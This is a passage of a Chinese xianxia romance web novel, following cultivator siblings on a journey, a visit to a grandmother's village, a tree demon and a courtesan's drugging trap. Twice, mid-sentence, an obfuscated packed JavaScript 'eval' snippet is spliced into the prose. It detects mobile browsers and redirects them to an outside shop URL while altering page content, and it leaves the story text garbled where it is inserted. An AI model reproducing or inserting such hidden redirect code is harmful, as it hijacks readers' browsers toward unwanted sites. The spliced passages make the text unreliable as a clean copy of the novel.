孟知匀感觉药效彻底起来了,便在床上坐下,冲桌上那扎糖葫芦扬了扬下巴,开始赶客:“时候不早了,走的时候可以拿几串,算是报答你的赠药之恩。” “好说好说。”萧翎琅笑眯眯地起身,“本来你中毒也是因为要帮我的忙嘛,给你熬药是应该的。” 话音刚落,这人毫不客气地从草靶子上薅了数串糖葫芦,步调轻快地走了出去。 孟知匀欲言又止地目送人离开,起身快步走到桌前数了数:“一、二、三、四。” 还好还好,得亏还给她留了四串,明日可以跟师兄师弟们分一分。 * 翌日,孟知匀一出门就碰到了站在门口的薛停。 “师姐。”薛停眉目和煦地冲她一笑,将手里的点心盒递给她,“这是我昨日去铺子里亲手做的,味道应该尚可。” 孟知匀惊讶地挑眉,接过盒子,顺便将手里拿着的草靶子伸到他面前:“挑一串儿。” 薛停拿了一串金桔糖葫芦:“就这个吧,多谢师姐款待。” 剑修的穿衣风格一般以干练为主,大多都利落修身、袖口收束。 所以薛停手背上的烫伤十分醒目。 孟知匀眉头微皱,垂眸看向他手背:“怎么回事?” 薛停将手往身后藏了藏:“没事,就是不小心烫到了。” “昨晚做点心的时候烫到的?”孟知匀略一思索,忽然觉得手里的点心盒有些烫手。 薛停抿着唇,没有回答,只道:“很快就好了,不是什么大伤。” “你在这儿稍等我一下。”孟知匀把点心和草靶子都塞给薛停,转身叩响了隔壁薛昱的房门。 “哗”的一声,门被拉开了。 “什么事?”薛昱早就感知到了孟知匀的气息,问话的同时不禁勾动了下手指。 孟知匀仰头看他,只觉得那对小虎牙格外可爱,随后轻咳了一声,收回心绪,一本正经地问道:“师兄,你这里还有伤药吗?最好是治疗烫伤的。” 不等薛昱回答,萧翎琅便不知从哪冒了出来,手里捏着一个银质圆盒,在她眼前晃了晃:“怎么不问我?我这里可有的是药。” 薛昱瞥了一眼后面的薛停,直接拿出一个小玉瓶,隔空抛给他:“洒在伤口上即可。” 薛停稳稳接住,玉瓶上带着的寒霜让他掌心一凉,面上的笑容却仍旧温和:“多谢师兄。” 萧翎琅的目光饶有兴味地在三人之间逡巡,忽然抓住孟知匀的袖子,巴巴地眨了眨眼睛:“你们是不是要去桃花潭的雅音会?” “对。”孟知匀点了点头,随后以目光示意薛停赶紧回去上药,结果这人跟看不懂她的暗示一样,柱子一样杵在门口不动。 “那能不能带我一起?”萧翎琅慢悠悠地走到薛停身边,把自己那个药膏也塞给他,“我这个药可是见效最快的,几天就能让皮肤完好如初,就当是我的车资。” “好不好?”她转身抱住孟知匀的胳膊,撒娇一般轻晃了晃。 孟知匀起了一身鸡皮疙瘩,却怎么也抽不回自己的胳膊,只能扭头为难地看向薛昱,询问他的意见。 薛昱抱臂倚在门框上,姿态闲适,眸中却似积了一层雪,语调冷淡:“随你。” “行行行,你先放开我。”孟知匀无奈屈服,从薛停手里拿过草靶子,将其塞给萧翎琅,“上面还有几串,劳烦你拿去给我另外两个师兄师弟,就当是你们互相认识一下,我们等会儿就要出发了。” 萧翎琅笑得满脸灿烂:“好嘞。” 孟知匀舒了口气,转身推着薛停进了屋:“快去上药。” “师姐,我伤的是右手,左手比较笨……” “别废话了,我给你上药。” 二人的声音随着“砰”的关门声消散在走廊里,薛昱面无表情地轻嗤了一声。 萧翎琅打了个寒颤,拿着草靶子往前走,嘀咕道:“怎么突然这么冷呢。” * 休整完毕后,钟粹山五人和萧翎琅一起出了城,在门口的仙灵驿站取回了他们的鹏车。 薛昱把牌子还了回去,对几人道:“我还有事,后日上午,我们在奉仙郡城门口会和。” 薛繁是几人中年龄最大的,加之清秋剑一脉向来细心稳重,一路上多是他和薛昱在安排吃住,薛昱这一走,他要操心的事就更多了。 但他只是一颔首:“路上注意安全。” 孟知匀见他转身就走,忍不住追了几步,叫了一声:“师兄。” 薛昱停下脚步:“嗯?” “我跟你一起去。”孟知匀勾动尾指,暗暗提醒他红线的存在。 两人还没试探过红线之间的最大距离是多少,也不知道如果强行扯开红线会有什么后果,所以孟知匀不能冒风险跟他分隔太远,只得跟他一起走了。 薛臻虞总算把塞了满嘴的糖葫芦咽了下去,咋咋呼呼地追了过来:“我也跟你们一起去!” 坐鹏车虽然轻松,但一路上无聊透顶,还不如跟师兄师姐一起走,路上还能御剑。 薛昱却直截了当地拒绝了他:“距离太远,你御剑速度慢,后天来不及抵达奉仙郡,还是坐鹏车吧。” 萧翎琅笑了起来,带动着一身的银饰“叮当响”:“喂,你这小黑娃怎么这么不识趣呢?” 薛臻虞的脸色更黑了。 薛繁揉了揉眉心,拉他回来,耐着性子哄人:“别闹了,以后有的是让你御剑的机会。此次事出从急,我们几个人中也就知匀御剑的速度比得上薛昱。” “师姐。”薛停收敛了眼中的幽怨,担忧地对孟知匀说,“路上小心。” 孟知匀回眸冲他们摆了摆手:“放心吧。” 直到大鹏振翅,几人彻底离开,孟知匀才伸手戳了戳薛昱的手臂:“师兄,你到底要去哪?” 薛昱令雾凇出鞘,双指缓缓拂过剑身:“去探望我外祖。” “啊?”孟知匀一愣。 这就有点冒昧了。 “到时候要不我蹲村口等你?” 薛昱挑眉瞥了她一眼:“不用。” * 薛昱外祖一家都是普通人,住在平宁郡杏子村,他娘朱庭兰在他年幼时就病逝了,后来每逢年底,他哥便会带他来一趟杏子村,今年薛旻忙于宗门庶务,他又恰逢路过,便想自己去一趟,免得老人家终年挂念。 杏子村,村如其名,家家户户的院子里都或多或少种着杏树,如今邻近岁末,光秃秃的枝干显出了几分萧索。 孟知匀跟着薛昱从村头走到村尾,随手捡来的树枝上都长出了第十二朵桃花,这人才叩响了一户人家的大门。 “谁啊?”一道苍老的声音在门内响起。 薛昱沉声道:“外婆,是我。” “昱儿?”一阵急促却虚浮的脚步声在门后响起,随后掉了漆的大门被“吱唔”一声拉开,一个满头银发的老太太走了出来,浑浊的眼睛里满是惊喜,“你哥来了信,我还以为你们今年都不回来了。” 老太太一把抓住薛昱的手,脸上的皱纹清晰而深刻:“今年又长高了不少。” 薛昱微微俯身,方便听老人家讲话,闻言笑了一声,难得露出几分温和来。 “这位是?”老太太这才注意到后面的孟知匀。 薛昱答道:“这是我师妹,我们要一起去云梦州,路过这里,便顺路来看看你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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孟知匀蹲在他面前,把那根桃花枝递给他:“你现在年纪还小,这些事等长大了再说也不迟。” 朱英接过桃花枝,犹豫了一下,放开了她的手:“那你可得等我呀,姐姐。” 梅香实在看不过眼了,一把将朱英抱走:“今日药还没喝就在院子里蹦跶,我看你是还想得风寒。” 朱庭坚无奈地摇了摇头,对孟知匀歉然一笑:“小孩子童言无忌,唐突孟姑娘了。” 孟知匀揉了揉被攥红的手腕,忙摆摆手:“没事没事。” 眼看到了晚饭时候,朱庭坚去院子角落里砍柴,外婆外公也去厨房里忙活了,招呼两人自己在院里坐着吃甜杏。 见热情的一大家子终于散了,孟知匀松了口气,刚想找地方坐下,薛昱的声音便顺着寒风传来:“手给我看看。” 孟知匀回头看他,不明所以地伸出一只手。 “另一只。”薛昱朝她走近了一步,刻意压低了嗓音,竟显出些缱绻的滋味。 孟知匀“哦”了一声,伸出另一只手。 她骨架不大,手腕白皙纤细,刚刚被朱英缠着不放,眼下手腕上有一道显眼的红痕。 薛昱不悦地皱眉,拿出一个药瓶,倒出一点药露,用指腹缓缓在她手腕上涂匀,动作小心谨慎得过了头,仿佛手下的不是常人的肌肤,而是稍有不慎便会融化的一捧雪。 “师兄……”孟知匀不自在地想收回手,“用不着涂药,过一会儿它自己就消了。” 薛昱头也没抬:“别动。” 孟知匀只得放弃挣扎,看向院外那棵杏子树上的几个鸟窝,耳垂上的热意却愈演愈烈。 厨房内,外婆拿手肘碰了碰一旁的丈夫:“老头子,你看。” 外公菜切了一半,忙不迭抬头看去,只见院中一对师兄妹相对站着,他家这个平日里冷淡又散漫的小子,竟在小心翼翼地给人家姑娘揉手。 “哎哟。”老头子喜笑颜开,“千年的冰树也开了花了。” “兰兰走得早,这孩子又是一惯的面冷心热,跟他爹还闹了这么多年的别扭,我就怕咱们两个老东西走了,他连个说说话的人都没有,这下好了。”外婆面露欣慰,再看孟知匀,是怎么看怎么可心,要不是怕冒昧,她都想直接把手上的祖传玉镯给这姑娘戴上,好替他们家昱儿早早定下这门亲事。 薛昱替人上完药,便去厨房帮忙做饭了,孟知匀也想跟进去打下手,却被外婆笑意盈盈地拉了出来:“做饭那是男人的事,小姑娘家家的可别进去熏黄了手。” 25. 树妖 晚上一家人围坐在一起热热闹闹吃了饭,梅香给西厢房换了新的被褥,有些不好意思地对孟知匀说:“家里这两间空屋子长时间没人住,屋里寒气重,我等会把炭盆给你端过来。” 孟知匀忙摆摆手:“不用麻烦了,我们修行中人不怎么畏寒,这里既干净又整洁,我挺喜欢的。” 梅香听她这么说,也不再坚持,又嘱咐了几句,便关上门离开了。 孟知匀躺到床上,发现系统发了封邮件过来,提醒她要开始写周报,定期汇报外勤的进展,并再三强调人际交往需要注意分寸。 她揉了揉发疼的太阳穴,感觉压在自己身上的大山一日比一日重,让她越来越想直接撂挑子不干了。 思来想去,烦闷的情绪把困意都驱散了。 正当她深吸一口气,准备闷头就睡时,一道不寻常的气息悄然出现在了朱家附近。 “妖?”她直接坐起身,来不及多想,拿着花信就出了门。 虽然她不懂追灵之术,但是对万物的气息颇为敏锐,于是轻手轻脚地屏息翻上墙头,想给隔壁院里的小妖来个瓮中捉鳖,结果看到她师兄坐在廊下一个竹椅上,正在面无表情地擦剑,脚底还踩着一个被五花大绑的“粽子”。 她有点傻眼了,用来装x的狗尾巴草还没来得及被她叼进嘴里,这场战斗就已经悄无声息地结束了。 那个“粽子”在地上拱来拱去:“别杀我!我是好妖!我从没害过人啊!” 孟知匀从墙头跳下去,走了两步,蹲到这妖旁边,拿狗尾巴草戳戳它的脸:“你是树妖?” “我是!”“粽子”忙点点头,“我……我一直在好好修行,化形之后也没害过人,仙师明鉴啊!” 薛昱左脚使力,使树妖“哎哟”一声蜷缩了起来,离孟知匀远了点。 “说吧,你鬼鬼祟祟来这里做什么?” 树妖梗着脖子辩解道:“我只是来看看这户人家有没有回来,我一件坏事也没做!” “你为什么要关注这户人家?”孟知匀问道。 “我……我几十年前刚化形时比较兴奋,正巧在林子里碰到了两个小孩儿,便想吓唬他们玩,结果不小心让那个小男孩磕破了脑袋。”树妖面露愧疚,“我想着拿我积攒多年的玉露补偿他,可等我找来,他们一家人已经远走他乡了,这么多年一直没回来,我这才时不时过来看一眼。” 孟知匀伸手扣住它的下巴,将一道符按进了他眉心,然后从他记忆中精准捕捉到了几个画面。 深林中,一个男孩将一个女孩护在身后,小脸上尽是决绝:“你快走!我在这里拦住他!” 女孩抓住他的衣袖不松手:“彭玮哥哥,村子里的人说这种妖怪最喜欢夺走修士的灵脉,我们一起跑吧。” “它马上就来了!你赶紧走!”男孩推了女孩一把,尽力召来一道风,将身量尚轻的女孩儿送出了十几米。 树妖觉得好笑,装模作样地放出妖雾,小男孩儿慌乱地往后退,结果一脚踩空,摔倒在地,不小心碰到了脑袋,竟是直接晕了过去。 树妖赶紧上前探查,随后松了口气:“还好还好,只是皮外伤,用些玉露就能痊愈。” 可等它拿着玉露返回,原本昏倒在树下的小男孩已经不见了。 它在原地等了几天后,又循着气息追去杏子村,却是人去院空,只有那个小女孩蹲在院墙底下抹眼泪。 孟知匀睁开眼睛,放开树妖,结束了通灵:“它没说谎。” 薛昱点了点头,释出一道灵气割开了绳子:“走吧。” “多谢仙师不杀之恩!”树妖不知从哪儿学来的礼数,在地上“哐哐”磕了两个头,然后一溜烟便没了影儿。 孟知匀引风吹了吹竹椅上的灰,然后拉过这张破椅子,坐到薛昱旁边,问道:“这家人是不是姓彭?” “嗯,在他们搬走之前,跟我外婆一家关系很好。”薛昱靠在椅背上,看起来有点散漫,眼眸却似深潭,不知在想什么。 “那这个彭玮,应该是你娘小时候的玩伴。”孟知匀把通灵中看到的画面详细跟他说了说。 薛昱看着满园无人打扫的枯叶被风卷来卷去,指尖的寒霜慢慢往上蜿蜒,面上却是云淡风轻,只点了点头:“不早了,回去休息吧。” 孟知匀看他状态不对,识趣地没有多加逗留,麻溜地翻墙回了自己的西厢房。 薛昱一手搭在竹椅的扶手上,手指一下一下轻叩着,不多时就将整个扶手染上了一层寒霜。 他娘在他七岁的时候就病逝了。 当时薛旻带着他跪在朱庭兰的病榻前,那个永远笑靥如花的娘亲已经衰老得厉害,双手如同枯柴,最后摸了摸他的脑袋。 那是他第一次看到父亲泣不成声的模样。 任谁都能看出来,他娘亲的死大有蹊跷。她的金素剑与宋覃的萧瑟剑并称清秋剑双璧,是宗门内仅次于薛琛的绝世剑修,她天资那样好,修为那样高,正处于剑修巅峰的年华,却在一次任务归来后开始慢慢衰老,连本命剑都不知所踪,最后一点一点腐朽在了那个桃花盛放的春日。 她临终时曾说:“这是我的选择,也是我应该偿还的恩情,你们不必去追寻原因。” 可是他又怎能释怀?他在那天,永远没有了母亲。 他也曾质问过薛琛,为什么不肯去调查她真正的死因,可愈发沉默的父亲只是看了他一眼,告诉他,应该遵循他娘的遗愿。 他不能理解,也不明白。 所有人都在告诉他,斯人已逝,应该放下过去,往前走。 但是他不愿意。 远方的天空显出了一线白,枯坐半宿的薛昱站起身,无波无澜地走了回去,只留下满园的风雪,昭示着昨夜无眠。 * 二人在杏子村没待多久就该离开了,临行时一大家子给他们装了几大篮子的年货,都被他们一一拒绝了。 “真的没法拿。”孟知匀面露难色,“而且我们还得去云梦州一趟,路上这些东西容易放坏。” 还在往篮子里塞东西的外公外婆这才作罢。 薛昱一把拎起偷偷摸摸溜达过来的朱英,垂眸看他:“你干什么?” 朱英双脚离了地,开始使劲挣扎:“我要找仙女姐姐!哥,你快放开我!” 薛昱瞥了一眼还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17264736|196678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在一旁推拒东西的孟知匀,直接把朱英拎到了角落,长腿一横,堵住了他的去路,抱臂居高临下地盯着他:“手里拿的什么?” “没有!什么都没有!”朱英把双手都背到身后。 薛昱冷嗤了一声,打了个响指,再伸出手时,掌心赫然便躺着一枚草编的兔子。 朱英急眼了,忙伸手去够,却苦于身高差别巨大,怎么也够不着,只能扯着嗓子喊:“你还给我!这是我给我未来媳妇的定情信物!” “哦?”薛昱轻笑,“谁家信物是草编的?” “我娘说的,礼轻情意重!只要有我的心意在,就算这个兔子是草编的,将来我也会兑现诺言,娶仙子姐姐回家!” “她不会嫁给你。”薛昱俯身捂住他的嘴,堵住了他脱口而出的痴心妄想,然后拍了拍他的脑袋,一本正经地嘱咐道,“平时多补补脑子,少做白日梦。” 朱英不服气地瞪他,脸都气成了猪肝色,然而不等他再反驳什么,他这个道貌岸然的表哥便转身带着他的仙女姐姐走了,他甚至没来得及跟她道别! “哎,你这小冤家!”梅香赶紧追出去拽住他,伸出一根食指直往他眉心点,“好端端的,又要作什么妖?” 朱英眼看自己追不上了,开始嚎啕大哭:“我哥他欺负我!他抢走了我给姐姐的定情信物,连话也不让我跟她说!” 梅香把他抱起来往回走,忍不住笑开了:“你这小傻瓜,那可是你未来嫂子,别再说胡话了。” 朱英闻言哭得更大声了:“薛昱这个讨厌鬼!” 声声泣泪,惊走了飞鸟。 “夺妻之仇,不共戴天!” * 孟知匀和薛昱赶了一天的路,终于在约定的时间抵达了奉仙郡城门口。 萧翎琅第一个迎上来,目光在两人身上打了个转,问道:“怎么样,好玩吗?” “挺好的,民风淳朴,热情好客。”孟知匀敷衍了她两句,将花信收入剑鞘,又跟薛停几人依次打了招呼,这才掀起车帘钻进了车厢。 太好了,她终于能坐着赶路了。 萧翎琅撇撇嘴,小声嘀咕:“谁问你这个了?” 几人没在城门口多耽搁,由薛停负责驾车,开始驶往云梦州的烟云郡。 薛臻虞一路上买了不少杂七杂八的东西,都堆在他旁边的位置上,导致中间只能坐一个人,萧翎琅跟在薛繁之后上车,结果她对孟知匀眨了眨眼睛,反而坐到了薛繁身边。 孟知匀懒得理她,靠在车壁上就开始闭目养神。 御剑一天,相当于体验了一天纯站票,把她累得要死,要不是车厢内不够宽敞,她都想直接躺下。 薛昱掀开帘子,看到的就是这么个情况。 薛臻虞压着嗓音说道:“师兄你坐师姐旁边,正好方便跟薛停师兄轮换。” 薛昱“嗯”了一声,在孟知匀身旁坐下。 薛臻虞见自家师姐累坏了,非常善解人意地不再说话,开始低头钻研那本《九夏剑入门剑术十八式》,薛繁和萧翎琅也各自捧着一本医术看。 薛昱刚把雾凇放到一边,孟知匀的脑袋就靠了过来。 26. 青梅 孟知匀实在累得够呛,甚至做了个梦,梦到她回到了大学时期,正坐在返校的高铁上,由于前天晚上和朋友熬夜打游戏,她一上车就开始闷头睡觉,不知不觉就靠在了隔壁D座男生的怀里。 她猛然惊醒,刚一抬头就撞上了薛昱的下巴。 薛昱正在擦花信的剑鞘,被她惊醒的动作弄得“嘶”了一声,引得对面二人终于忍不住抬眸看他们,却谁也没敢先说话。 孟知匀赶紧松开自家师兄的腰,坐直了身体,大脑一片空白地扭头看他:“师兄,你没事吧?” 薛昱揉着下巴,拿清凌凌如冷泉的眼睛扫了她一眼:“没事。” “我这人睡觉特别不老实,真是对不住了。”孟知匀尴尬得都想跳车,一时有点坐立不安。 薛繁放下手里那卷医书,温声为她开脱:“师妹赶了这么久的路,难免疲惫,等到了烟云郡就可以好好歇息了。” 萧翎琅递来一个瓷瓶,冲她挤眉弄眼:“醒神露,可以缓解疲劳。” 孟知匀接过瓶子,刚想再说点什么解释解释,一旁沉迷话本子的薛臻虞突然激动地狂拍大腿,嘴里嚷嚷着:“终于抱上了!我看了一百三十四回,终于给我等到了!” 这傻孩子,说什么呢。 鹏车有了缓缓下落的趋势,薛停掀开半个车帘,提醒道:“已经到烟云郡了,大家收拾一下准备下车吧。” 孟知匀如逢甘露,装作很忙地去拿自己的行李和本命剑,却发现花信的剑鞘居然被人用灵气滋养过了,锃亮如新,里面的剑灵也颇为自得,化出一道灵气在她掌心乱窜。 “闲来无事,便帮你擦了擦剑。”薛昱释出灵气,让坐席下面的礼品自行浮了出来。 孟知匀低头看花信,这傻子剑灵还在孔雀开屏,不禁唇角一抽:“多谢师兄。” 钟粹山的鹏车在烟云郡城门口停下,一个身穿月白直裰的年轻男子站在仙灵驿站门口,一见他们下车便带人迎了上去,质料轻薄的衣摆在行走间可见隐隐的桃花花瓣和水纹波澜。 “诸位远道而来,真令桃花潭蓬荜生辉啊。”苏秋白拱手行礼,令身边的杂役帮忙拿礼品,然后看向一脸冷淡的薛昱,面露揶揄,“稀客啊,没想到二少主居然亲自前来了。” 不等他多客套几句,薛昱便打断:“少废话,带路。” 孟知匀几人看他们交情不浅,也都省得再多加寒暄,直接跟着这位桃花潭少主进了城。 桃花潭地处烟云郡东南角的一处大湖中,距离城门不算远,但是上岛须得乘坐苏家舟,按照既定的路线划船前往,不然会被施了层层法阵的湖水吸入湖底,若不及时得救,就只能成为满湖荷花的养料了。 掌门苏慎添近日身体欠佳,又赶上了雅音会,所以干脆把门派庶务交给了苏秋白和三位楼主,自己闭门谢客,安心养神,等雅音会召开时再出来露面。 苏秋白带着几人上了苏家舟,亲自拿起船桨划船,态度谦和地向几人解释:“几位都是钟粹山新一辈中的佼佼者,按理说,我爹和三位楼主应该亲来迎接。可惜近日三位楼主为筹办雅音会之事忙得焦头烂额,我爹他老人家又身体不济,不便出来见客,只能由我招待诸位了。若有不周到的地方,诸位只管提。” 薛繁见桃花潭少主亲自为他们撑船,心里颇为过意不去,便在他一旁掌灯,摆手笑道:“少主这是哪里的话?我们几个晚辈前来,哪有让前辈们迎接的道理,何况少主以诚相待,处处周到,实在无可指摘。” 萧翎琅刚刚一直没说话,生怕撞上万听谷的人,眼下上了船,便忍不住本性毕露,冲苏秋白扬了扬下巴:“喂,你还记得我吗?” 苏秋白面若好女、身长玉立,往船头一站,衬着满湖荷花,倒是让人直接感受到了何为云梦清姿。 “翎琅妹妹这般人物,在下岂会忘怀?” 萧翎琅笑得满头银饰乱摇:“看来我上次给你的药,效果甚佳啊。” 她刻意拖着长音,很难不引人遐思,苏秋白却不为所动,只道:“药效虽好,对苏某来讲,却是了无用处,怕是辜负了翎琅妹妹赠药之心。” 二人你一言我一语地打机锋,旁人听起来倒有趣,不多时便到了湖心岛。 “眼下岛上客人众多,且出入不便。在下于城内雾雨阁还有几处院落住宅,若是诸位不嫌弃,不如等拜会完各位楼主,随在下去雾雨阁小住几日,如何?”苏秋白一拂手,冲几人做了个“请”的姿势。 薛停、薛繁、薛臻虞和孟知匀对住所都没有要求,只觉得客随主便,不给人添麻烦就好。 萧翎琅一听是雾雨阁,简直是满面春风,满口答应下来:“好啊,雾雨阁可是个好地方。” 薛昱则撩起眼皮瞥了他一眼,也没多言,直觉这人又要搞些什么乱七八糟的花招。 桃花潭以音修起家,宗门内有瑶琴楼、玉笛楼、听鼓楼三大派系,分别修习琴、笛、鼓,在三大宗门里以风雅著称,最受云梦世家的推崇。 所以在云梦州一带,但凡是天生灵脉的孩子,从小便被家人教导以进入桃花潭修行为荣。 岛上的建筑不像钟粹山那样方正、肃穆,颇具水乡的情调。 孟知匀被眼前的亭台楼阁迷了眼,心想要不是怕背调不通过,她跳槽来桃花潭当个岛民也不是不行。 三大楼主正好在千声阁议事,苏秋白只得领着几人草草拜会了一下,便又带着他们回了城中的雾雨阁。 烟云郡比钟灵郡和平宁郡热闹得多,哪怕到了晚上,街巷上仍有许多人流连夜市,一些酒楼甚至通宵不闭店。 雾雨阁就藏在繁华街市之中,用高墙在纵深间隔出了几个小院子,颇有点闹中取静的意韵。 “这里被我布了阵,平日里闲杂人等不敢前来打扰,诸位安心住下即可。” 这方院子似乎一直有人打理,所有东西都是安置好的,几人直接拿着行李就能入住。 薛繁真心实意道谢:“多谢少主了。” 苏秋白微笑回礼:“都是应该的。那在下不多叨扰了,先行告辞。” 几人送他到门口,眼看人走远了,萧翎琅还趴 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林不平站在她身后,俯身把着她的两只手,见状只是笑了一下,命人再换了琴上来,然后笑意吟吟地对侍立在一旁的婢女勾了勾手指。 他长相清俊,平日里待人温和有礼,那婢女不禁脸颊泛红,小步走上前来行了一礼。 谭素月皱了皱眉,双手却被林不平紧紧攥在了掌心,动弹不得。 “你叫什么名字?”林不平语调和煦地问道。 婢女低着头,小声道:“奴婢名为青梅。” “青梅……”林不平将这两个字在唇间品咂了几下,笑道,“好名字。” “把你的右手伸出来。” 青梅脸颊上的红晕更深,依言伸出了自己的右手。 她年方十六,虽然从小为奴为婢,但是平日里不做粗活,一双手养护得很好,葱白细腻,像上好的白玉。 林不平释出一道灵气,绕着青梅的右手食指转了一圈,然后猛地一缩。 “啊——” 忍受不了剧痛的婢女当即在地上蜷缩成一团,地上掉落着她断了的食指,衣袖也染上了血渍。 林不平又笑了,把谭素月的双手按在琴上,低头含住她的耳垂,姿态亲昵如爱侣:“琴弦断几根,她的手指就断几根,你说怎么样?” 谭素月闭了下眼睛,收回了指尖的灵气,在婢女小声的啜泣声中,任由林不平带着自己的手指在琴弦上流连。 像极了一具行尸走肉。 “大师姐果然宅心仁厚。”林不平一边带着她弹琴,一边偏头凑近她的嘴唇,几乎是磋磨着她的唇瓣,压低嗓音问道,“你先前在钟灵郡不是很爱笑吗?怎么现在不爱笑了?是不喜欢这里的下人吗?” “大师姐”三个字离她已经太遥远了,回想起来,竟恍如隔世。 谭素月木然的眼神逐渐露出了些许灵韵,随后,她几乎是凭借本能,带着撕咬的恨意,狠狠咬破了他的下唇。 林不平松开她,伸手抹了抹嘴唇上汨汨流出的血,竟露出了从未有过的畅快笑意。 27. 头牌 时候还早,薛臻虞在屋里待不住,拉着薛繁去街上闲逛,买了不少云梦州特色的茶点回来。 薛繁则趁他打包吃食时在附近的摊子上挑了几支花样别致的珠钗,准备抽空将这些珠宝玉石连同他写给宋覃的信,一起拿去仙灵驿站,寄回钟粹山。 二人拿着大包小包的东西回了雾雨阁小院,正巧碰到要出门的薛昱。 “师兄,你去哪啊?”薛臻虞把一包糕点递给他,“刚买来的,还热乎着呢。” 薛昱冲他们颔首,没接糕点:“去附近随便转转,你们吃吧,我不喜欢甜食。” “这附近热闹得很,和咱们钟灵郡大不相同。”薛繁温文一笑,还给他指了指附近几个卖新奇玩意儿的店面。 喧嚣的人声在他们小院门口都听得见。 薛昱“嗯”了一声,认真听完俩师兄弟滔滔不绝的介绍,这才出了门。 这人前脚刚走,薛停后脚便推开房门,走进了院子,目光在二人手上的大小包裹上转了一圈:“你们买了什么好东西?” “云梦州特色茶点!师兄你快来尝尝。”薛臻虞把东西往院子里的小石桌上一堆,招呼薛停过来一起吃。 “全是茶点吗?”薛停快步走过去,看了看几个拆开的袋子,沉思了几息,道,“师姐是中州人,可能吃不惯这些茶点,我出去看看有没有中州的饭食,你们先吃吧,不用等我了。” 看着薛停匆匆离开的身影,薛臻虞伸手捏了一块糕点放进嘴里,含糊不清地说道:“这一个两个的,出了门还不趁机品尝特色美食,总是吃北边的东西,不腻吗?” 薛繁及时往后一闪,躲过了小师弟说话时喷出来的糕点碎屑,无奈地摇摇头:“赶紧吃你的吧。” 薛停之前没来过烟云郡,对城里的布局不是很熟悉,只能顺着热闹的主街往前走,时不时向旁人问一问路,不多时就找到了几家号称正宗的中州小店。他在店里打包了几样菜,随后便加快了脚步往回走,生怕饭菜凉了。 拐进一条漆黑安静的小巷,一个提着灯的女子正在缓步往前走,身上不知掉了个什么东西下来。 薛停脚步一顿,上前捡起地上的荷包,朗声叫道:“姑娘,你东西掉了。” 女子提灯回眸,露出一张极为艳丽的脸,虽是寒冬腊月天,但云梦州不如北凛州那么冷,所以她穿着较为轻薄,身上还披着一层红菱,是他从未见过的妩媚风情。 “多谢仙师了。”女子微微一笑,姿态端庄有礼,使薛停皱着的眉头舒展了几分。 他走近几步,将手里的荷包递还给女子:“不必客气。” 那女子伸出一双留了几分指甲的手,手指纤长白皙,拿走荷包时不小心蹭到了他的手心,然后把绣着芙蓉花的荷包在他面前轻轻晃了晃:“这上面就是我的名字——芙蓉。” 薛停不动声色地收回手,冲她点了点头,心里还挂念着回去给师姐送饭,便道:“芙蓉姑娘,时候不早了,独身一人在暗巷行走,实在不安全,还是及早回去为好。” “仙师所言极是。”芙蓉将荷包收了回去,准备转身离开,却刚走出一步,便“哎哟”一声就要跌倒,手里提着的灯也落到地上,滚出了几步。 薛停一把扶住她的胳膊:“怎么了?” 芙蓉娥眉微蹙,显得楚楚可怜:“可能是脚崴了,不妨事,我在这里坐着休息一会儿就行。” 薛停仰头看了看日渐西斜的月亮,虽然心里隐隐觉得有些不对劲,但还是怕她一人在这里会出什么事,便提议道:“还能走吗?你住所离这里有多远?不如我扶你回去。” “不必了。”芙蓉摇了摇头,另一只手扶住墙,“脚踝太疼,一时走不了,仙师不必管我,我歇一会儿就能走了。” 随后她指了指旁边二楼的一扇未关上的窗:“喏,我就住在那儿,离得不远,等会儿可以自己慢慢走回去。” 薛停顺着她指的方向看去,竟是萧翎琅所说的望月楼。 “要不,我去帮你叫人,让他们抬你回去?”薛停看看那扇窗户,又看看面露痛色的女子,一时有些为难。 没想到芙蓉大惊失色,攥住他的袖子哀求:“仙师!千万不能让他们知道我偷偷溜出来了,不然……” 她的声音越来越小,却透出些委屈:“不然他们会打我的。” 薛停叹了口气,将手里装着饭菜的食盒放到墙角,有些难为情地说道:“若姑娘不嫌在下唐突,在下可以直接抱姑娘回房。” 芙蓉微微偏头看他,目光在他身后背着的剑上停留了一瞬,唇角一弯,感激道:“那真是多谢仙师了。” 薛停手忙脚乱地将她抱起来,足尖一点便越上了墙头,然后提气御风,稳稳抱着芙蓉从窗户进了她的房间。 屋内似乎熏着香,让人有些脚底发虚。 “劳烦仙师直接将我放到榻上吧。”芙蓉虚虚勾着他的脖子,一粒黑色的东西从她水葱似的指甲里爬出来,落进了薛停的衣领。 薛停为难地看了一眼晦暗的床榻,呼吸乱了一瞬,还是依言将她放到了床上,可在直起身时却被那只手猛地攥住了衣领。 素手纤纤,却仿佛力大无穷,竟让他一时挣脱不开。 芙蓉一手支着身体,一手拉着他,一双顾盼流兮的美眸直直盯着他,连同那股躲闪不开、缓缓缠了他满身的暖香,让他头晕目眩。 “我们这种烟花柳巷里的女人,接过的不少客人也是修行中人呢,仙师知不知道,我这些姐妹们都想尝一尝的极品,是什么人?” 薛停单手扶住床柱,另一只手想去拔剑,却怎么也召不动他的晨曦剑,仿佛有什么东西锁住了他的灵脉,让他心绪翻腾、热血上涌。 “是你们剑修呀。”芙蓉手上使了点力气,直接将他勾缠上了床榻,暧昧的香气在他周围纠缠不去,她的声音像是一道沾了水的软鞭,抽打在他心间,令人泛出些绵密的痒。 芙蓉的手指一点一点抚过他的脸颊:“尤其是你们钟粹山剑修。” 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这么一抵扣,她现在倒是没有罚款债了。 她坐在桌前支起下巴,点开了面板: 房贷:89.08白银 已缴纳社保:3两白银 总存款:5.64两白银 好歹房贷不是9开头了。 她叹了口气,准备开始写周报,结果刚拿起笔,门就被敲响了。 萧翎琅直接推开门,探出脑袋:“喂,要不要跟我出去转转?” 